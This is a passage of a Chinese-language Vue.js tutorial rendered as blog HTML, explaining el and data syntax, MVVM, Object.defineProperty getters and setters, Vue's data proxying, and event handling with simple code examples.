class="hljs-comment">/*data: function () &#123;</span></span><br><span class="hljs-comment"><span class="javascript">            console.log(&quot;this---&gt;&quot;,this)// 此时的 this 是 Vue 实例对象</span></span><br><span class="hljs-comment"><span class="javascript">            return &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                name: &quot;尚硅谷&quot;</span></span><br><span class="hljs-comment"><span class="javascript">            &#125;</span></span><br><span class="hljs-comment"><span class="javascript">        &#125;*/</span></span><br><span class="javascript"></span><br><span class="javascript">        <span class="hljs-comment">// 简化一下</span></span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">data</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">            <span class="hljs-keyword">return</span> &#123;</span><br><span class="javascript">                <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span></span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>总结：</p>
<ol>
<li><p>el 有两种写法</p>
<ul>
<li>new Vue 时配置 el 属性。</li>
<li>先创建 Vue 实例，随后再通过 <code>v.$mount(&#39;#root&#39;)</code> 指定 el 的值。</li>
</ul>
</li>
<li><p>data 有两种写法</p>
<ul>
<li>对象式 <code>data&#123;&#125;</code></li>
<li>函数式 <code>data()&#123;result&#123;&#125;&#125;</code></li>
</ul>
<p>如何选择：目前两种写法都是可以的，但是以后学习组件是，data 必须使用函数式，否则会报错。</p>
</li>
<li><p>一个重要的原则：<strong>由 Vue 管理的的函数，一定不要写箭头函数，一旦写了箭头函数，this 就不再是 Vue 实例了</strong></p>
</li>
</ol>
<p>使用普通函数</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs javascript">data: <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>&#123;<br>    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;this---&gt;&quot;</span>,<span class="hljs-built_in">this</span>)<span class="hljs-comment">// 此时的 this 是 Vue 实例对象</span><br>    <span class="hljs-keyword">return</span> &#123;<br>        <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span><br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.3w7dnmsj8rg0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>使用箭头函数</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs javascript">data:<span class="hljs-function">()=&gt;</span> &#123;<br>    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;this---&gt;&quot;</span>,<span class="hljs-built_in">this</span>)<span class="hljs-comment">// this 指向的就是上一级的 window 对象了</span><br>    <span class="hljs-keyword">return</span> &#123;<br>        <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span><br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.1kwk5ab9gwbk.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h2 id="5-MVVM模型"><a href="#5-MVVM模型" class="headerlink" title="5.MVVM模型"></a>5.MVVM模型</h2><p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.76x3zu41sng0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>在代码中</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.55xi0qjexmw0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>控制台打印出来的 Vue 实例对象，包括属性和原型，在 View 层中都可以使用，但是有一些是没有必要的。</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.7j1i4h19sds0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>测试一下：&#123;&#123;1+1&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>测试一下：&#123;&#123;$options.el&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>测试一下：&#123;&#123;$emit&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>测试一下：&#123;&#123;_c&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>这边获取的都是 Vue 实例对象中的数据</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.4geqdwb8b9k0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结：</p>
<ol>
<li>MVVM模型</li>
</ol>
<ul>
<li>M：模型（Model）：data 中的数据</li>
<li>V：视图（View）：模板代码（HTML代码）</li>
<li>VM：视图模型（ViewModel）：Vue 实例</li>
</ul>
<ol start="2">
<li>观察发现</li>
</ol>
<ul>
<li>data 中所有的属性，最后都出现在了 Vue 实例对象中。</li>
<li>Vue 实例对象中的所有属性以及 Vue 原型上的所有属性，在 Vue 模板中都可以直接使用。</li>
</ul>
</blockquote>
<h2 id="6-数据代理"><a href="#6-数据代理" class="headerlink" title="6.数据代理"></a>6.数据代理</h2><h3 id="6-1-回顾Object-defineProperty"><a href="#6-1-回顾Object-defineProperty" class="headerlink" title="6.1 回顾Object.defineProperty"></a>6.1 回顾Object.defineProperty</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> person = &#123;<br>    <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;张三&quot;</span>,<br>    <span class="hljs-attr">sex</span>: <span class="hljs-string">&quot;男&quot;</span><br>&#125;<br><br><span class="hljs-comment">// 通过该方法添加的属性默认不可以枚举，编历，不可以被更改,不可被删除</span><br><span class="hljs-built_in">Object</span>.defineProperty(person, <span class="hljs-string">&#x27;age&#x27;</span>, &#123;<br>    <span class="hljs-attr">value</span>: <span class="hljs-number">18</span>,<br>    <span class="hljs-comment">// 控制属性是否可以枚举，默认为 false，即不可枚举</span><br>    <span class="hljs-comment">// enumerable: true,</span><br>    <span class="hljs-comment">// 控制属性是否可以被修改，默认为 false，即不可被修改</span><br>    <span class="hljs-comment">// writable: true,</span><br>    <span class="hljs-comment">// 控制属性是否可以被删除，默认为 false，即不可被删除</span><br>    <span class="hljs-comment">// configurable: true</span><br>&#125;)<br><br><span class="hljs-comment">// 编历 person</span><br><span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> personKey <span class="hljs-keyword">in</span> person) &#123;<br>    <span class="hljs-built_in">console</span>.log(person[personKey])<br>&#125;<br></code></pre></td></tr></table></figure>

<p>在浏览器控制台中</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.5gd52elczrk0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>设置一下</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> person = &#123;<br>    <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;张三&quot;</span>,<br>    <span class="hljs-attr">sex</span>: <span class="hljs-string">&quot;男&quot;</span><br>&#125;<br><br><span class="hljs-comment">// 通过该方法添加的属性默认不可以枚举，编历，不可以被更改</span><br><span class="hljs-built_in">Object</span>.defineProperty(person, <span class="hljs-string">&#x27;age&#x27;</span>, &#123;<br>    <span class="hljs-attr">value</span>: <span class="hljs-number">18</span>,<br>    <span class="hljs-comment">// 控制属性是否可以枚举，默认为 false，即不可枚举</span><br>    <span class="hljs-attr">enumerable</span>: <span class="hljs-literal">true</span>,<br>    <span class="hljs-comment">// 控制属性是否可以被修改，默认为 false，即不可被修改</span><br>    <span class="hljs-attr">writable</span>: <span class="hljs-literal">true</span>,<br>    <span class="hljs-comment">// 控制属性是否可以被删除，默认为 false，即不可被删除</span><br>    <span class="hljs-attr">configurable</span>: <span class="hljs-literal">true</span><br>&#125;)<br><br><span class="hljs-comment">// 编历 person</span><br><span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> personKey <span class="hljs-keyword">in</span> person) &#123;<br>    <span class="hljs-built_in">console</span>.log(person[personKey])<br>&#125;<br></code></pre></td></tr></table></figure>

<p>在浏览器控制台中</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.x6vk862f8i8.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p><strong>Object.defineProperty 中的 getter 和 setter</strong>，通过外部 number 变量，控制 age 的值。</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> number = <span class="hljs-number">19</span>;<br><br><span class="hljs-keyword">let</span> person = &#123;<br>    <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;张三&quot;</span>,<br>    <span class="hljs-attr">sex</span>: <span class="hljs-string">&quot;男&quot;</span><br>&#125;<br><br><span class="hljs-comment">// 通过该方法添加的属性默认不可以枚举，编历，不可以被更改</span><br><span class="hljs-built_in">Object</span>.defineProperty(person, <span class="hljs-string">&#x27;age&#x27;</span>, &#123;<br>    <span class="hljs-comment">/*value: 18,</span><br><span class="hljs-comment">    // 控制属性是否可以枚举，默认为 false，即不可枚举</span><br><span class="hljs-comment">    enumerable: true,</span><br><span class="hljs-comment">    // 控制属性是否可以被修改，默认为 false，即不可被修改</span><br><span class="hljs-comment">    writable: true,</span><br><span class="hljs-comment">    // 控制属性是否可以被删除，默认为 false，即不可被删除</span><br><span class="hljs-comment">    configurable: true*/</span><br><br>    <span class="hljs-comment">// 每当有人读取当前属性时，都会调用 getter，返回的值就是该属性的值</span><br>    <span class="hljs-attr">get</span>: <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;getter被调用了&quot;</span>)<br>        <span class="hljs-keyword">return</span> number;<br>    &#125;,<br><br>    <span class="hljs-comment">// 当有人修改当前属性时，都会调用 setter，且 setter 方法会受到修改的具体值</span><br>    <span class="hljs-attr">set</span>: <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">value</span>) </span>&#123;<br>        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;age被修改为了--&gt;&quot;</span>+value)<br>    &#125;<br>&#125;)<br><br><span class="hljs-comment">// console.log(Object.keys(person))</span><br><span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> personKey <span class="hljs-keyword">in</span> person) &#123;<br>    <span class="hljs-built_in">console</span>.log(person[personKey])<br>&#125;<br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.18kafwgutgps.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结：</p>
<p>Object.defineProperty 可以动态的为对象添加属性，并且可以通过一些设置来指定这个属性的特性。</p>
</blockquote>
<h3 id="6-2-何为数据代理"><a href="#6-2-何为数据代理" class="headerlink" title="6.2 何为数据代理"></a>6.2 何为数据代理</h3><p>==数据代理：通过一个对象代理对另一个对象中属性的操作（即读 / 写）==</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">let</span> obj1 = &#123;<br>    <span class="hljs-attr">x</span>: <span class="hljs-number">100</span><br>&#125;<br><span class="hljs-keyword">let</span> obj2 = &#123;<br>    <span class="hljs-attr">y</span>: <span class="hljs-number">200</span><br>&#125;<br><br><span class="hljs-built_in">Object</span>.defineProperty(obj2, <span class="hljs-string">&#x27;z&#x27;</span>, &#123;<br>    <span class="hljs-function"><span class="hljs-title">get</span>(<span class="hljs-params"></span>)</span> &#123;<br>        <span class="hljs-keyword">return</span> obj1.x<br>    &#125;,<br>    <span class="hljs-function"><span class="hljs-title">set</span>(<span class="hljs-params">value</span>)</span> &#123;<br>        obj1.x = value;<br>    &#125;<br>&#125;)<br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.8t9m3fjs1v4.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="6-3-Vue中的数据代理"><a href="#6-3-Vue中的数据代理" class="headerlink" title="6.3 Vue中的数据代理"></a>6.3 Vue中的数据代理</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Vue中的数据代理<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>姓名：&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>年龄：&#123;&#123;age&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> vm = <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;张三&quot;</span>,</span><br><span class="javascript">            <span class="hljs-attr">age</span>: <span class="hljs-number">20</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>



<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/Vue%E4%B8%AD%E7%9A%84%E6%95%B0%E6%8D%AE%E4%BB%A3%E7%90%86.3xzocjduz540.png" srcset="/img/loading.gif" lazyload alt="Vue中的数据代理"></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210731/image.2t9cm3u48ug0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结：</p>
<ol>
<li>Vue 中的数据代理是通过 <strong>vm 对象来代理 data 对象中的属性</strong>的操作（读 / 写）。</li>
<li>Vue 中数据代理的好处：更加方便的操作 data 中的数据。</li>
<li>基本原理：<ul>
<li>通过 Object.defineProperty() 把 data 对象中的所有属性添加到 vm 上。</li>
<li>为每一个添加 vm 对象上的属性都指定一个 getter / setter。</li>
<li>在 getter / setter 内部去操作（读 / 写）data 中对应的属性。</li>
</ul>
</li>
</ol>
</blockquote>
<h2 id="7-事件处理"><a href="#7-事件处理" class="headerlink" title="7.事件处理"></a>7.事件处理</h2><h3 id="7-1-事件的基本使用"><a href="#7-1-事件的基本使用" class="headerlink" title="7.1 事件的基本使用"></a>7.1 事件的基本使用</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>欢迎来到&#123;&#123;name&#125;&#125;学习<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    <span class="hljs-comment">&lt;!--&lt;button v-on:click=&quot;showInfo&quot;&gt;点我提示信息&lt;/button&gt;--&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 简写形式 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span>点我提示信息（不手动传参）<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;showInfo2($event, 66)&quot;</span>&gt;</span>点我提示信息（手动传参）<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> vm = <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span>,</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-comment">// 方法会传入一个事件参数 event</span></span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">showInfo</span>(<span class="hljs-params">event</span>)</span> &#123;</span><br><span class="javascript">                alert(<span class="hljs-string">&quot;你好同学&quot;</span>)</span><br><span class="javascript">                <span class="hljs-comment">// console.log(event.target.innerText)// 通过 event 获取一些值</span></span><br><span class="javascript">                <span class="hljs-comment">// console.log(this)// 此处的 this 是 vm</span></span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">showInfo2</span>(<span class="hljs-params">event, number</span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">console</span>.log(event)</span><br><span class="javascript">                alert(<span class="hljs-string">&quot;你好世界&quot;</span>+number)</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<blockquote>
<p>总结：</p>
<ol>
<li>使用 <code>v-on:xxx</code> 或 <code>@xxx</code> 绑定事件，其中 xxx 是事件名。</li>
<li>事件的回调需要配置在 methods 对象中，最终会在 vm 上。</li>
<li>methods 中配置的函数，不要使用箭头函数！否则方法中的 this 就不是 vm 了。</li>
<li>methods 中配置的函数，都是被 Vue 所管理的函数，this 的指向就是<code> vm 或者 组件实例对象</code>。</li>
<li><code>@click=&quot;demo&quot;</code> 和 <code>@click=&quot;demo($event)&quot;</code> 效果一致，但后者可以传参。</li>
</ol>
</blockquote>
<h3 id="7-2-事件修饰符"><a href="#7-2-事件修饰符" class="headerlink" title="7.2 事件修饰符"></a>7.2 事件修饰符</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span> /&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>事件修饰符<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css"></span><br><span class="css">        *&#123;</span><br><span class="css">            <span 